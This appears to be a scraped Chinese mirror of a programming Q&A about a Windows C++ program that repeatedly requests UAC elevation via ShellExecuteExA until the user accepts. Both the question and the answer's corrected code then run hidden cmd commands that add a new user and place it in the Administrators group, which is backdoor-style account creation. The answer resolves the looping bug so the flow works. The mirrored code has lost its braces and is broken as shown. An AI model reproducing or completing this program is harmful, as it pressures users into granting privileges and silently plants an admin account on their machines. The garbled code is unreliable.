具有管理员权限的 shellexecute 不会结束
Posted
技术标签:
【中文标题】具有管理员权限的 shellexecute 不会结束【英文标题】:shellexecute with administrator privileges doesn't end 【发布时间】:2019-11-24 21:32:15 【问题描述】:我尝试每 2 秒请求一次管理员权限,但同步这两个进程时出现问题。 ShellExecuteExA 创建的进程不会结束,除非您手动终止它。主进程(主函数)以 ExitProcess 结束,现在是正在运行的 shellexecute 进程,它返回主进程并卡在 ask 函数中,当它不应该进入这个函数时再次请求提升权限。我正在使用 vs2019。
#include <iostream>
#include <Windows.h>
#include <WinUser.h>
#include <string>
#include <sstream>
using namespace std;
#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Advapi32.lib")
bool CheckIfAdmin()
BOOL RunAdmin = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
TOKEN_ELEVATION Elevation;
DWORD cbSize = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hToken, TokenElevation,
&Elevation, sizeof(Elevation), &cbSize))
RunAdmin = Elevation.TokenIsElevated;
// Cleanup
if (hToken)
CloseHandle(hToken);
return RunAdmin;
bool Elevate()
char PathProg[MAX_PATH];
if (GetModuleFileNameA(NULL, PathProg, MAX_PATH))
SHELLEXECUTEINFOA SEIA = sizeof(SEIA);
SEIA.lpVerb = "runas";
SEIA.lpFile = PathProg;
SEIA.hwnd = NULL;
SEIA.nShow = SW_NORMAL;
if (!ShellExecuteExA(&SEIA))
DWORD dwErr = GetLastError();
if (dwErr == ERROR_CANCELLED)
// reject UAC
return false;
return false;
// accept UAC
return true;
return false;
void execute_cmd(const char *m, INT opt)
std::ostringstream os;
os << "/c " << m;
ShellExecuteA(NULL, "open", "cmd", os.str().c_str(), NULL, opt);
bool run_uac()
if (!CheckIfAdmin())
if (Elevate())
return true;
return false;
void ask()
while (true)
switch (MessageBox(0, L"Elevated privileges?", L"", MB_OKCANCEL | MB_ICONERROR | MB_TOPMOST))
case IDOK:
if (run_uac())
// Now there are two processes running
ExitProcess(0); // exit from primary process
Sleep(2000);
int main()
MessageBoxA(NULL, " main()", "!", MB_OK | MB_ICONWARNING);
ask();
// execute any action with privileges
execute_cmd("net user newUser /add", SW_HIDE);
execute_cmd("net localgroup Administrators newUser /add", SW_HIDE);
return 0;
【问题讨论】:
【参考方案1】:如果您正在提升运行,则调用 ask()
会使您陷入无休止的 MessageBox+Sleep
循环,因为当 CheckIfAdmin()
返回 true 时,run_uac()
返回 false。因此,将海拔检查移至 main()
本身,如果已经运行提升,则跳过海拔提示。
#include <Windows.h>
#include <iostream>
#include <string>
#include <sstream>
using namespace std;
#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Advapi32.lib")
bool IsElevated()
bool bElevated = false;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
TOKEN_ELEVATION Elevation;
DWORD cbSize = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize))
bElevated = Elevation.TokenIsElevated;
// Cleanup
CloseHandle(hToken);
return bElevated;
bool Elevate()
char PathProg[MAX_PATH];
if (GetModuleFileNameA(NULL, PathProg, MAX_PATH))
SHELLEXECUTEINFOA SEIA = sizeof(SEIA);
SEIA.lpVerb = "runas";
SEIA.lpFile = PathProg;
SEIA.hwnd = NULL;
SEIA.nShow = SW_NORMAL;
return ShellExecuteExA(&SEIA);
return false;
void execute_cmd(const char *m, int opt)
std::ostringstream os;
os << "/c " << m;
ShellExecuteA(NULL, "open", "cmd", os.str().c_str(), NULL, opt);
void AskToElevate()
while (true)
if (MessageBox(0, L"Elevated privileges?", L"", MB_OKCANCEL | MB_ICONQUESTION | MB_TOPMOST) == IDOK)
if (Elevate())
// Now there are two processes running
ExitProcess(0); // exit from primary process
Sleep(2000);
int main()
MessageBoxA(NULL, " main()", "!", MB_OK | MB_ICONWARNING);
if (!IsElevated())
AskToElevate();
// execute any action with privileges
execute_cmd("net user newUser /add", SW_HIDE);
execute_cmd("net localgroup Administrators newUser /add", SW_HIDE);
return 0;
【讨论】:
以上是关于具有管理员权限的 shellexecute 不会结束的主要内容,如果未能解决你的问题,请参考以下文章